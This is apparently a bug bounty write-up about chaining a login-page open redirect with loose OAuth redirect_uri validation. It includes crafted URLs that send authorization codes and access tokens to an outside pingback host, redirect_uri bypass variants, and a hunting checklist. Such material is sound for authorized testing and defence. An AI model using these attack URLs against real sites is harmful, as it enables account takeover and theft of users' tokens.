// The P4 I almost walked away from
The redirect was textbook. A ?next= parameter on the login page that wasn't validated — you could send a user to any URL after authentication. I noted it, wrote it up as informational, and marked the target done. Open redirects on login pages feel like noise in 2026. Everyone's seen them. Most programs pay nothing.
What I missed: the same app had a "Login with Google" button. It used a standard OAuth 2.0 authorization code flow. And the redirect_uri parameter — the URL where Google sends the authorization code after login — was validated loosely.
redirect_uri is a token theft gadget. The OAuth provider trusts app.target.com. If you can redirect from app.target.com/login?next=... to anywhere you want — you control where the token ends up.
// How OAuth redirect_uri validation works — and where it breaks
In a standard OAuth flow, the authorization server (Google, GitHub, etc.) checks that the redirect_uri in the request matches a pre-registered value. If they match exactly, the code is sent there. If not, it's rejected.
The weakness: most providers validate the prefix or the domain, not the full URL. If the app registered https://app.target.com/oauth/callback, some providers will accept any URL starting with https://app.target.com/. Including https://app.target.com/login?next=https://abc123.pingback.sh/token.
// Building the attack URL
The crafted URL needs to do two things: pass the OAuth provider's redirect_uri validation (so the code is sent there) and trigger the open redirect (so the code gets forwarded to pingback).
Variant — implicit flow (token instead of code)
# Some older OAuth flows use response_type=token (implicit flow) # This sends the access_token directly in the URL fragment — even better https://accounts.google.com/o/oauth2/auth ?client_id=TARGET_CLIENT_ID &response_type=token ← direct token, no code exchange needed &scope=openid%20email &redirect_uri=https://app.target.com/login%3Fnext%3Dhttps://abc123.pingback.sh/implicit # Pingback receives: # GET /implicit#access_token=ya29.a0AfH...&token_type=Bearer&expires_in=3600 # The access token is in the URL fragment — full account access
Redirect_uri bypass variants — when validation is stricter
# If the provider validates exact match but accepts subpath variations: https://app.target.com/oauth/callback/../login?next=https://abc123.pingback.sh/path # If the provider only checks domain (not path): https://app.target.com.abc123.pingback.sh/ ← subdomain confusion https://app.target.com@abc123.pingback.sh/ ← @ confusion (some parsers) # If the provider accepts URL-encoded characters: https://app.target.com%2F%2Fabc123.pingback.sh/ ← double-encoded slash # If the app has multiple registered redirect_uris — find them all: # Check /.well-known/oauth-authorization-server # Check page source for other callback endpoints # Any registered URI that has an open redirect is viable
// Setting up pingback and waiting
I set up my abc123.pingback.sh channel and crafted the full attack URL. Then I sent it to myself in a fresh incognito window, simulating a victim clicking a phishing link. I clicked "Login with Google", authenticated, and watched my dashboard.
The authorization code landed in the URL parameter: code=4/0AcvDMrB8xK2.... Along with the scope confirming it covered email and profile. A real attacker would exchange this code for an access token using the app's client credentials — but for the PoC, the code landing on pingback is sufficient proof. The chain works.
// The full attack timeline
/login?next= with no validation. Noted it as informational. Didn't see a way to chain it. Moved on.redirect_uri, pointed the next parameter at abc123.pingback.sh/token. Set up the pingback listener.// The lesson: the severity gap
Same vulnerability. The open redirect didn't change. What changed was the context — understanding that an open redirect on a domain that's trusted by an OAuth provider is worth a lot more than an open redirect alone.
The mental model shift: stop rating bugs in isolation. Every time you find an open redirect, immediately ask: does this app use OAuth? Does it use SSO? Is there a magic link login? Is there a password reset flow that sends tokens in URLs? Any of these turns a redirect into a token theft gadget.
// How to find this on your next target
- Find all open redirects first —
?next=,?return=,?redirect=,?url=,?continue=. Even P4 ones. Make a list. - Check every OAuth button — "Login with Google", "Login with GitHub", "Login with SSO". Find the
client_idin page source or network tab. - Test redirect_uri validation — substitute the open redirect URL as the
redirect_uri. Try exact URL, path traversal variants (/../), encoded slashes. - Try both response types —
response_type=code(authorization code) andresponse_type=token(implicit — sends token directly). Implicit is worse for the victim. - Set up pingback before testing — the code or token arrives in the URL in real time. You need to be watching.
- Document the full chain in the report — don't just say "open redirect + OAuth". Walk the triager through each step. Programs underestimate this chain if the report is vague.